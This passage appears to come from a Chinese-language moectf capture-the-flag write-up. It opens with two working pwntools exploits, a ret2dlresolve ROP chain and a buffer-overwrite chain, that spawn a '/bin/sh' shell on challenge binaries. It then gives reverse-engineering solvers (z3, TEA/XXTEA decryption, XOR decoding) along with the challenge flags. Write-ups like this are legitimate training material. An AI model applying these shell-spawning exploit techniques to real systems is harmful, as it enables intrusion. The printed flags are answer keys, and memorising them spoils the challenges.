 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print("[*] Running on local machine")
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *40117d
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
# prev
elf = ELF(filename)
libc = ELF(libc_name)
se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def get_64():
 return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


offset = 112+8
read_length = 0x100
start_resolve = elf.get_section_by_name(".plt").header.sh_addr
pop_rdi = 0x040115e
pop_rsi_r15 = 0x0401241
read_plt = elf.plt['read']

rop = ROP(elf)
rop.raw(rop.ret.address)
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=["/bin/sh\x00"])

payload = flat(
 b'\x00'*offset,
 pop_rdi, 0,
 pop_rsi_r15, dlresolve.data_addr, 0,
 read_plt,
 pop_rdi, dlresolve.real_args[0],
 start_resolve, dlresolve.reloc_index
).ljust(0x100, b'\x00') + dlresolve.payload

sl(payload)
print(rop.dump())
# moectf{N0_PuT5-n0-PRintF_n0-13Ak_JUSt-rET2dl2da2a}，注意远程不要patch了打

io.interactive()

后续远程

patch会修改动态内存布局（一般来说会抬高libc空间），远程不要Patch

call_it

保护，但其实SHSTK和IBT如题所说是无效的，所以我觉得这真的能算是JOP吗…
我们发现 whlie 的结束条件是由 n_gestures 控制的，但输入 6 后，n_gestures 不增加而 v2 会增加。

如图，只限制到了7
而fgets会v2进行偏移往 talks 内写入数据，往下可以精确写到gestures从而控制gestures内容

而还有一个gift,可以将参数和函数一并传入进行执行了， +8 位置作为参数，调用 +16 位置的函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = 'amd64'
remote_addr = "localhost"
remote_port = "34233"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print("[*] Running on local machine")
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *0x4012d9
 b *0x40111E
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
# libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def message(idx, content=b""):
 sla(b"Choose your gesture:", str(idx))
 if 0 < idx < 6:
 sla(b"What should I say after this gesture?", content)


gift = elf.sym['gift']
system = 0x401228
binsh_addr = elf.sym['talks']

log.info(VIO_TEXT(f"gift: {hex(gift)}"))
log.info(VIO_TEXT(f"system: {hex(system)}"))
log.info(VIO_TEXT(f"binsh_addr: {hex(binsh_addr)}"))

message(1, b'/bin/sh\x00')
for i in range(7):
 message(6)

payload = flat(
 gift, binsh_addr,
)
log.info(CLEAR_TEXT(f"payload: {payload.hex()}"))
# 前半部分写入到了rsp指针中在调用0会直接使用 rdi会写入到rax rax+8->rdi, 可以写入/bin/sh\x00
message(1, payload[0:15])
message(1, p64(system)) # call ptr [rax+10h]
message(0)
# moectf{iF_I8T-3naBL3D-tHEn_YOu_caNN0t-CAptUrE-Thi5-fLaG1}

ia()

reverse

ez3

main函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67


int __fastcall main(int argc, const char **argv, const char **envp)
{
 char v3; // bl
 bool v4; // r12
 __int64 v5; // rbx
 __int64 v6; // rax
 char v8; // [rsp+Fh] [rbp-71h] BYREF
 __int64 v9; // [rsp+10h] [rbp-70h] BYREF
 __int64 v10; // [rsp+18h] [rbp-68h] BYREF
 _BYTE v11[32]; // [rsp+20h] [rbp-60h] BYREF
 _BYTE v12[40]; // [rsp+40h] [rbp-40h] BYREF
 unsigned __int64 v13; // [rsp+68h] [rbp-18h]

 v13 = __readfsqword(0x28u);
 printf((unsigned int)"Input your flag:\n> ", (_DWORD)argv, (_DWORD)envp);
 fflush(stdout);
 std::string::basic_string(v11);
 std::operator>><char>((std::istream *)&std::cin);
 if ( std::string::length(v11, v11) == 42 )
 {
 v3 = 0;
 v4 = 1;
 if ( (unsigned __int64)std::string::length(v11, v11) > 7 )
 {
 std::string::substr(v12, v11, 0LL, 7LL);
 v3 = 1;
 if ( !(unsigned __int8)std::operator!=<char>(v12, "moectf{") && *(_BYTE *)std::string::back(v11) == 125 )
 v4 = 0;
 }
 if ( v3 )
 std::string::~string(v12);
 if ( v4 )
 {
 puts("FORMAT ERROR!");
 }
 else
 {
 std::allocator<char>::allocator(&v8);
 v10 = std::string::end(v11);
 v5 = __gnu_cxx::__normal_iterator<char *,std::string>::operator-(&v10, 1LL);
 v9 = std::string::begin(v11);
 v6 = __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v9, 7LL);
 std::string::basic_string<__gnu_cxx::__normal_iterator<char *,std::string>,void>(v12, v6, v5, &v8);
 std::string::operator=(v11, v12);
 std::string::~string(v12);
 std::allocator<char>::~allocator(&v8);
 std::string::basic_string(v12, v11);
 LOBYTE(v5) = check(v12);
 std::string::~string(v12);
 if ( (_BYTE)v5 )
 {
 puts("OK");
 puts("But I don't know what the true flag is");
 }
 else
 {
 puts("try again~");
 }
 }
 }
 else
 {
 puts("Length error!");
 }
 std::string::~string(v11);
 return 0;
}

check()函数，为主加密逻辑

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


__int64 __fastcall check(__int64 a1)
{
 int i; // [rsp+1Ch] [rbp-4h]

 for ( i = 0; i <= 33; ++i )
 {
 check(std::string)::b[i] = 47806 * (*(char *)std::string::operator[](a1, i) + i);
 if ( i )
 check(std::string)::b[i] ^= check(std::string)::b[i - 1] ^ 0x114514;
 check(std::string)::b[i] %= 51966;
 if ( check(std::string)::b[i] != a[i] )
 return 0LL;
 }
 return 1LL;
}

check函数中,b[i]%51966会使得不同输入也可以产生相同输出，flag长度为42，b[i]与a[i] (34个字符)会进行比较，跟进a找到数据

check做了什么呢？实际上就是拿b[i]这个计算产生的中间值与51966取模后去跟数组a一一匹配，那么我们用一个flag数组来表示*(char *)std::string::operator[](a1, i) + i 即34哥未知字符然后用z3约束运算求解出

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45


from z3 import *

# Given data
a_values = [
 0x0B1B0, 0x5678, 0x7FF2, 0x0A332, 0x0A0E8, 0x364C, 0x2BD4, 0x0C8FE,
 0x4A7C, 0x18, 0x2BE4, 0x4144, 0x3BA6, 0x0BE8C,
 0x8F7E, 0x35F8, 0x61AA, 0x2B4A, 0x6828, 0x0B39E, 0x0B542, 0x33EC,
 0x0C7D8, 0x448C, 0x9310, 0x8808, 0x0ADD4, 0x3CC2,
 0x796, 0x0C940, 0x4E32, 0x4E2E, 0x924A, 0x5B5C
]

s = Solver()

# 用八位位向量表示0-255的数
flag_chars = [BitVec(f'c_{i}', 8) for i in range(34)]

for c in flag_chars:
 s.add(c >= 32, c <= 126) # 限制在ascill码大小

# 逆向代码
b = [0] * 34
for i in range(34):
 # b[i] = 47806 * (c[i] + i)
 b[i] = 47806 * (ZeroExt(24, flag_chars[i]) + i) # ZeroExt用于拓展位宽到32位模拟32位整数
 if i > 0:
 b[i] ^= (b[i-1] ^ 0x114514)
 b[i] = URem(b[i], 51966) #无符号数取模
 s.add(b[i] == a_values[i]) #约束

solutions = []
while len(solutions) < 10 and s.check() == sat:
 m = s.model()
 # 得到字符
 sol_bytes = bytes([m.eval(flag_chars[i]).as_long() for i in range(34)])
 sol_str = sol_bytes.decode('ascii') #取出字符的ascii值
 solutions.append(sol_str)

 s.add(Or([flag_chars[i] != ord(sol_str[i]) for i in range(34)])) #排除相同解

if solutions:
 print("Found solutions:")
 for i, sol in enumerate(solutions, 1):
 print(f"{i}. moectf{{{sol}}}")
else:
 print("No solutions found")

moectf{Y0u_Kn0w_z3_S0Iv3r_N0w_a1f2bdce4a9}

a cup of tea

是tea?找一找，一路上顺便把变量改为十六进制

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69


__int64 sub_1400162E0()
{
 char *v0; // rdi
 __int64 i; // rcx
 _BYTE v3[32]; // [rsp+0h] [rbp-20h] BYREF
 char v4; // [rsp+20h] [rbp+0h] BYREF
 _DWORD v5[12]; // [rsp+28h] [rbp+8h] BYREF
 _DWORD v6[20]; // [rsp+58h] [rbp+38h]
 _DWORD v7[20]; // [rsp+A8h] [rbp+88h] BYREF
 _DWORD v8[20]; // [rsp+F8h] [rbp+D8h] BYREF
 char Str[64]; // [rsp+148h] [rbp+128h] BYREF
 size_t Size; // [rsp+188h] [rbp+168h]
 int j; // [rsp+1A4h] [rbp+184h]
 int v12; // [rsp+1C8h] [rbp+1A8h] BYREF
 int v13; // [rsp+1CCh] [rbp+1ACh]
 int v14; // [rsp+1E4h] [rbp+1C4h]
 int k; // [rsp+204h] [rbp+1E4h]

 v0 = &v4;
 for ( i = 130LL; i; --i )
 {
 *(_DWORD *)v0 = 0xCCCCCCCC;
 v0 += 4;
 }
 sub_140011384((__int64)&unk_140023015);
 v5[0] = 0x11451419;
 v5[1] = 0x19810114;
 v5[2] = 0x51419198;
 v5[3] = 0x10114514;
 v6[0] = 0x78C594AB;
 v6[1] = 0x22813B59;
 v6[2] = 0x472A3144;
 v6[3] = 0xF255108A;
 v6[4] = 0x45CFB34;
 v6[5] = 0x3949EA0C;
 v6[6] = 0xCB760968;
 v6[7] = 0x1559C979;
 v6[8] = 0xDEF9929D;
 v6[9] = 0x71D1AAB;
 v6[10] = 0;
 memset(v7, 0, 0x2CuLL);
 memset(v8, 0, 0x2CuLL);
 check((__int64)&unk_14001AED0);
 sub_1400113ED((__int64)&unk_14001AEE4, (__int64)Str);
 Size = j_strlen(Str);
 j_memcpy(v7, Str, Size);
 for ( j = 0; j < 5; ++j )
 {
 v12 = v7[2 * j];
 v13 = v7[2 * j + 1];
 tea((__int64)&v12, (__int64)v5);
 v8[2 * j] = v12;
 v8[2 * j + 1] = v13;
 }
 v14 = 1;
 for ( k = 0; k < 11; ++k )
 {
 if ( v8[k] != v6[k] )
 {
 v14 = 0;
 check((__int64)"You are wrong!!");
 break;
 }
 }
 if ( v14 == 1 )
 check((__int64)"Congratulations!!!!");
 sub_140011320((__int64)v3, (__int64)&unk_14001AE60);
 return 0LL;
}

加密逻辑在重命名为tea的函数里

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


__int64 __fastcall sub_1400117E0(unsigned int *a1, _DWORD *a2)
{
 __int64 result; // rax
 int v3; // [rsp+24h] [rbp+4h]
 unsigned int v4; // [rsp+44h] [rbp+24h]
 unsigned int v5; // [rsp+64h] [rbp+44h]
 int i; // [rsp+A4h] [rbp+84h]

 sub_140011384(&unk_140023015);
 v3 = 0;
 v4 = *a1;
 v5 = a1[1];
 for ( i = 0; i < 32; ++i )
 {
 v3 += 0x114514;
 v4 += (a2[1] + (v5 >> 5)) ^ (v3 + v5) ^ (*a2 + 16 * v5);
 v5 += (a2[3] + (v4 >> 5)) ^ (v3 + v4) ^ (a2[2] + 16 * v4);
 }
 *a1 = v4;
 result = 4LL;
 a1[1] = v5;
 return result;
}

exp

逆向tea算法即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55


#include <stdio.h>
#include <stdint.h>

// tea，改了delta-0x114514
void tea_decrypt(uint32_t *v, uint32_t const *key) {
 uint32_t v0 = v[0], v1 = v[1];
 uint32_t delta = 0x114514;
 uint32_t sum = delta * 32;

 for (int i = 0; i < 32; i++) {
 v1 -= (key[2] + (v0 << 4)) ^ (v0 + sum) ^ (key[3] + (v0 >> 5));
 v0 -= (key[0] + (v1 << 4)) ^ (v1 + sum) ^ (key[1] + (v1 >> 5));
 sum -= delta;
 }

 v[0] = v0;
 v[1] = v1;
}

int main() {
 uint32_t key[4] = {0x11451419, 0x19810114, 0x51419198, 0x10114514};
 uint32_t v6[11] = {
 0x78C594AB, 0x22813B59, 0x472A3144, 0xF255108A,
 0x045CFB34, 0x3949EA0C, 0xCB760968, 0x1559C979,
 0xDEF9929D, 0x071D1AAB,0x00000000
 };

 uint32_t decrypted[10];

 for (int i = 0; i < 10; i += 2) {
 uint32_t block[2] = {v6[i], v6[i+1]};
 tea_decrypt(block, key);
 decrypted[i] = block[0];
 decrypted[i+1] = block[1];
 }


 printf("Decrypted DWORDs:\n");
 for (int i = 0; i < 10; i++) {
 printf("v8[%d] = 0x%08X\n", i, decrypted[i]);
 }

 // 转换为ASCII字符串（小端序）
 printf("\nFlag:\n");
 for (int i = 0; i < 10; i++) { // 只转换前10个DWORD
 uint32_t val = decrypted[i];
 putchar(val & 0xFF);
 putchar((val >> 8) & 0xFF);
 putchar((val >> 16) & 0xFF);
 putchar((val >> 24) & 0xFF);
 }
 printf("\n");

 return 0;
}

flower

关键在于如何去除花指令

首先在这里存在花指令
这里会始终跳转到label+1的随机落在某条指令和jz+jnz的组合使得出现无效调用的指令流情况，所以我们先把这三条都nop掉，但是之后还是不能反汇编，怎么办呢？我们需要重新定义总的solve函数，因为原来存在这条花指令分支，现在则直接跳过了，中间断开了给它直接连起来
汇编中看到两条分支的终点都跳转到了检查canary的地方，我们就设置在第二个分支末尾处为solve()的重点就可以了

然后我们就能反汇编了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65


// positive sp value has been detected, the output may be wrong!
__int64 __fastcall solve()
{
 char v0; // r12
 __int64 v1; // rax
 __int64 v2; // rbx
 __int64 v3; // rax
 char *v4; // rax
 __int64 v5; // rax
 __int64 v6; // rax
 __int64 v8; // [rsp+8h] [rbp-68h]
 char v9; // [rsp+17h] [rbp-59h] BYREF
 int i; // [rsp+18h] [rbp-58h]
 int v11; // [rsp+1Ch] [rbp-54h]
 __int64 v12; // [rsp+20h] [rbp-50h] BYREF
 __int64 v13; // [rsp+28h] [rbp-48h] BYREF
 _BYTE v14[40]; // [rsp+30h] [rbp-40h] BYREF
 __int64 v15; // [rsp+58h] [rbp-18h]

 if ( v0 )
 {
 v1 = std::operator<<<std::char_traits<char>>((std::ostream *)&std::cout);
 std::ostream::operator<<(v1, std::endl<char,std::char_traits<char>>);
 }
 else
 {
 ((void (__fastcall *)(char *))std::allocator<char>::allocator)(&v9);
 v13 = std::string::end();
 v2 = ((__int64 (__fastcall *)(__int64 *, __int64))__gnu_cxx::__normal_iterator<char *,std::string>::operator-)(
 &v13,
 1LL);
 v12 = std::string::begin();
 v3 = ((__int64 (__fastcall *)(__int64 *, __int64))__gnu_cxx::__normal_iterator<char *,std::string>::operator+)(
 &v12,
 7LL);
 ((void (__fastcall *)(_BYTE *, __int64, __int64, char *))std::string::basic_string<__gnu_cxx::__normal_iterator<char *,std::string>,void>)(
 v14,
 v3,
 v2,
 &v9);
 ((void (__fastcall *)(__int64, _BYTE *))std::string::operator=)(v8, v14);
 std::string::~string(v14);
 std::allocator<char>::~allocator(&v9);
 v11 = ((__int64 (__fastcall *)())std::string::length)();
 if ( v11 == 32 )
 {
 for ( i = 0; i < v11; ++i )
 {
 v4 = (char *)((__int64 (__fastcall *)(__int64, _QWORD))std::string::operator[])(v8, i);
 if ( (unsigned int)encode(*v4) != enc[i] )
 goto LABEL_10;
 }
 if ( !enc[v11] )
 {
 v6 = std::operator<<<std::char_traits<char>>((std::ostream *)&std::cout);
 std::ostream::operator<<(v6, std::endl<char,std::char_traits<char>>);
 JUMPOUT(0x404AC3LL);
 }
 }
LABEL_10:
 v5 = std::operator<<<std::char_traits<char>>((std::ostream *)&std::cout);
 std::ostream::operator<<(v5, std::endl<char,std::char_traits<char>>);
 }
 return v15 - __readfsqword(0x28u);
}

encode()逻辑很简单:

1
2
3
4
5
6
7


__int64 __fastcall encode(int a1)
{
 int v1; // eax

 v1 = key++;
 return a1 ^ (unsigned int)v1;
}

key不断++然后和enc异或就是我们的值，但是一开始的输出
moectf{l>|9|5tEPkSjE7hU=f=Uk"k%?GIOe5i}这是什么东西？？后来发现

开头的时候拿key和0xa异或了一下，这个得看汇编，所以要注意一下啊

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


#include <stdio.h>

int main() {
 unsigned char enc[32] = {
 0x4F, 0x1A, 0x59, 0x1F, 0x5B, 0x1D, 0x5D, 0x6F,
 0x7B, 0x47, 0x7E, 0x44, 0x6A, 0x07, 0x59, 0x67,
 0x0E, 0x52, 0x08, 0x63, 0x5C, 0x1A, 0x52, 0x1F,
 0x20, 0x7B, 0x21, 0x77, 0x70, 0x25, 0x74, 0x2B
 };

 unsigned char key_start = 0x23^0xa;
 unsigned char ch;

 printf("moectf{");

 for (int i = 0; i < 32; i++) {
 ch = enc[i] ^ (key_start + i);
 fwrite(&ch, 1, 1, stdout);
 }
 printf("}");

 return 0;
}

week2

catch

刚开始有一个栅栏加密的假flag 用try-catch块导致反编译无法识别，

原本是catch块的地方重新定义函数到catch-end就可以反编译

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


// positive sp value has been detected, the output may be wrong!
void __fastcall catch_block(void *a1, __int64 a2)
{
 char *v2; // rdx
 int v3; // [rsp+34h] [rbp-Ch]
 int v4; // [rsp+38h] [rbp-8h]
 int i; // [rsp+3Ch] [rbp-4h]

 _cxa_begin_catch(a1);
 v3 = strlen((const char *)a1);
 for ( i = 0; i < v3; ++i )
 {
 v4 = (unsigned __int8)solve(void)::hidesuwa[i];
 if ( islower((int)a1) )
 {
 v4 = (v4 - 84) % 26 + 97;
 }
 else if ( isupper((int)a1) )
 {
 v4 = (v4 - 52) % 26 + 65;
 }
 v2 = solve(void)::hidesuwa;
 solve(void)::hidesuwa[i] = v4;
 }
 printf((const char *)a1, a2, v2, "so you didn't catch me?\n");
 _cxa_end_catch();
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


encrypted = "zbrpgs{F4z3_Ge1px_jvgu_@sybjre_qrfhjn}"
decrypted = []

for c in encrypted:
 if c.islower():
 decrypted_char = chr((ord(c) - ord('a') + 13) % 26 + ord('a'))
 elif c.isupper():
 decrypted_char = chr((ord(c) - ord('A') + 13) % 26 + ord('A'))
 else:
 decrypted_char = c
 decrypted.append(decrypted_char)

print("".join(decrypted))
# moectf{S4m3_Tr1ck_with_@flower_desuwa}

upx_revenge

stub中缺少了了解压用的upx!(自己加密一个就知道了)

010右下角切为插入模式，在解压算法数据前加入upx!的签名(比如0d开头就是这里)
然后就可以运行了

IDA里找到这里，对传入的base64进行换表后加密，换表即对每个字符xor 0xe

使用的是URL base64，换表后base64解密

moectf{Y0u_Re4l1y_G00d_4t_Upx!!!}

two_cups_of_tea

由v12的key数组生成，可以写xtea解密也可以dump出来断点打在main函数return0前，可以看见

用lazyIDA convert dump出来

这就是密钥

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81


__int64 __fastcall xxtea(unsigned int *a1, __int64 a2, __int64 a3)
{
 unsigned int v3; // r9d
 int v4; // r11d
 unsigned int v5; // edx
 unsigned int v6; // esi
 unsigned int v7; // ebp
 unsigned int v8; // r14d
 unsigned int v9; // r15d
 unsigned int v10; // r12d
 unsigned int v11; // r13d
 unsigned int v12; // ebx
 unsigned int v13; // ecx
 int v14; // edi
 int v15; // ebx
 __int64 v16; // r10
 int v17; // r11d
 int v18; // eax
 bool v19; // zf
 __int64 result; // rax
 unsigned int v21; // [rsp+0h] [rbp-58h]
 unsigned int v22; // [rsp+4h] [rbp-54h]
 int v23; // [rsp+8h] [rbp-50h]
 int v25; // [rsp+68h] [rbp+10h]
 __int64 v26; // [rsp+70h] [rbp+18h]
 unsigned int v27; // [rsp+78h] [rbp+20h]

 v26 = a3;
 v3 = a1[9];
 v4 = 0;
 v5 = a1[8];
 v6 = a1[1];
 v7 = a1[2];
 v8 = a1[3];
 v9 = a1[4];
 v10 = a1[5];
 v11 = a1[6];
 v12 = *a1;
 v13 = a1[7];
 v27 = v5;
 v22 = v3;
 v23 = 11;
 while ( 1 )
 {
 v25 = v4 - 0x61C88647;
 v14 = *(_DWORD *)(a3 + 4LL * (((unsigned int)(v4 - 0x61C88647) >> 2) & 3));
 v21 = v12 + ((((16 * v3) ^ (v6 >> 3)) + ((v3 >> 5) ^ (4 * v6))) ^ (((v4 - 0x61C88647) ^ v6) + (v14 ^ v3)));
 v15 = *(_DWORD *)(v26 + 4 * (((unsigned int)(v4 - 0x61C88647) >> 2) & 3 ^ 1LL));
 v6 += ((v21 ^ v15) + ((v4 - 0x61C88647) ^ v7)) ^ (((16 * v21) ^ (v7 >> 3)) + ((v21 >> 5) ^ (4 * v7)));
 v16 = ((unsigned int)(v4 - 0x61C88647) >> 2) & 3 ^ 3LL;
 v17 = *(_DWORD *)(v26 + 4 * (((unsigned int)(v4 - 0x61C88647) >> 2) & 3 ^ 2LL));
 v7 += ((v6 ^ v17) + (v25 ^ v8)) ^ (((16 * v6) ^ (v8 >> 3)) + ((v6 >> 5) ^ (4 * v8)));
 v8 += ((v25 ^ v9) + (v7 ^ *(_DWORD *)(v26 + 4 * v16))) ^ (((16 * v7) ^ (v9 >> 3)) + ((v7 >> 5) ^ (4 * v9)));
 v9 += ((v8 ^ v14) + (v25 ^ v10)) ^ (((16 * v8) ^ (v10 >> 3)) + ((v8 >> 5) ^ (4 * v10)));
 v10 += ((v9 ^ v15) + (v25 ^ v11)) ^ (((16 * v9) ^ (v11 >> 3)) + ((v9 >> 5) ^ (4 * v11)));
 v18 = (v10 ^ v17) + (v25 ^ v13);
 v4 = v25;
 v11 += v18 ^ (((16 * v10) ^ (v13 >> 3)) + ((v10 >> 5) ^ (4 * v13)));
 v13 += ((v11 ^ *(_DWORD *)(v26 + 4 * v16)) + (v25 ^ v27)) ^ (((16 * v11) ^ (v27 >> 3)) + ((v11 >> 5) ^ (4 * v27)));
 v27 += ((v13 ^ v14) + (v25 ^ v22)) ^ (((16 * v13) ^ (v22 >> 3)) + ((v13 >> 5) ^ (4 * v22)));
 v3 = (((v27 ^ v15) + (v25 ^ v21)) ^ (((16 * v27) ^ (v21 >> 3)) + ((v27 >> 5) ^ (4 * v21)))) + v22;
 a3 = v26;
 v19 = v23-- == 1;
 v22 = v3;
 if ( v19 )
 break;
 v12 = v21;
 }
 result = v13;
 a1[1] = v6;
 a1[2] = v7;
 a1[3] = v8;
 a1[4] = v9;
 a1[5] = v10;
 a1[6] = v11;
 a1[7] = v13;
 a1[8] = v27;
 a1[9] = v3;
 *a1 = v21;
 return result;
}

是一个xxtea加密，v23为11轮，但是中间的加密过程拆开写了，这里有一点要注意，-0x61c88647要加上补码即0x9e3779b9 写xxtea模板解密即可，没有魔改

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43


// Recover flag in C
// gcc -O2 -std=c11 -o solve solve.c
#define DELTA 0x9e3779b9 // 补码
#include <stdint.h>
#include <stdio.h>

static inline uint32_t U32(uint64_t x) { return (uint32_t)(x & 0xFFFFFFFFu); }

#define MX \
 (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ \
 ((sum ^ y) + (key[(p & 3) ^ e] ^ z)))

void btea(uint32_t *v, int n, uint32_t const key[4]) {
 uint32_t y, z, sum;
 unsigned p, rounds, e;
 rounds = 6 + 52 / n;
 sum = rounds * DELTA;
 y = v[0];

 do {
 e = (sum >> 2) & 3;
 for (p = n - 1; p > 0; p--) {
 z = v[p - 1];
 y = v[p] -= MX;
 }
 z = v[n - 1];
 y = v[0] -= MX;
 sum -= DELTA;
 } while (--rounds);
}

int main(void) {
 uint32_t key[4] = {0x63656F6D, 0x21216674, 0x12345678, 0x9ABCDEF0};
 uint32_t v[] = {0x5D624C34, 0x8629FEAD, 0x9D11379B, 0xFCD53211, 0x460F63CE,
 0xC5816E68, 0xFE5300AD, 0x0A0015EE, 0x9806DBBB, 0xEF4A2648};
 btea(v, 10, key);
 char *flag = (char *)v;

 for (int i = 0; i < 40; i++)
 printf("%c", flag[i]);

 return 0;
}

week3及之后（大概吧

ezandroid

Androidmanifest进去就能看到是base64加密,cyberchef即可

ez_windows

在ida中找到窗口消息处理部分

.lpfnWndProc部分为我们的窗口信息处理函数

这里对应命令处理分支，也就是窗口左上角的各个对应框架。在DialogFunc存在关键部分

1

v23[v14] = String[v14] ^ 0x2A; // 每个字符与0x2A异或

下面存在密文的比较

1
2
3
4
5
6
7
8


 do
 {
 v16 = *(unsigned __int16 *)((char *)v15 + (char *)aGeoiLqbj - (char *)v23);
 v17 = *v15 - v16;
 if ( v17 )
 break;
 ++v15;
 }

v16会取出aGeoiLqbj中的低三十二位字节，而高三十二位在实际地址中就是0不用管，因此直接写解密脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


encrypted_bytes = [
 0x47, 0x45, 0x4F, 0x49, 0x5E, 0x4C, 0x51, 0x62,
 0x6A, 0x5c, 0x1e, 0x75, 0x4C, 0x7F, 0x44, 0x57
]

# 解密（每个字节与0x2A异或）
password = ""
for byte in encrypted_bytes:
 if byte != 0: # 忽略末尾的null
 decrypted = byte ^ 0x2A
 password += chr(decrypted)

print("解密后的密码:", password)

ezandroid_pro

main中通过native层调用了c++的libezandroidpro

将app改为压缩包解压后在libs-arm64下找到，根据命名格式搜索
Java_com_example_ezandroidpro_MainActivity_check

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97


bool __fastcall Java_com_example_ezandroidpro_MainActivity_check(__int64 a1, __int64 a2, __int64 a3)
{
 const char *v5; // x0
 const char *v6; // x21
 size_t v7; // x0
 size_t v8; // x22
 char *v9; // x23
 _BOOL4 v10; // w20
 unsigned __int64 v11; // x24
 char *v12; // x19
 __int64 *v13; // x10
 unsigned __int64 v14; // x9
 unsigned __int8 *v15; // x10
 char *v16; // x11
 int v17; // w12
 int v18; // w13
 void *v19; // x21
 void *v21[2]; // [xsp+0h] [xbp-50h] BYREF
 void *s1; // [xsp+10h] [xbp-40h]
 void *v23[3]; // [xsp+18h] [xbp-38h] BYREF
 _QWORD v24[2]; // [xsp+30h] [xbp-20h] BYREF
 void *v25; // [xsp+40h] [xbp-10h]
 __int64 v26; // [xsp+48h] [xbp-8h]

 v26 = *(_QWORD *)(_ReadStatusReg(TPIDR_EL0) + 40);
 v5 = (const char *)(*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)a1 + 1352LL))(a1, a3, 0);
 if ( !v5 )
 return 0;
 v6 = v5;
 v7 = strlen(v5);
 if ( v7 >= 0xFFFFFFFFFFFFFFF0LL )
 std::__basic_string_common<true>::__throw_length_error(v24);
 v8 = v7;
 if ( v7 >= 0x17 )
 {
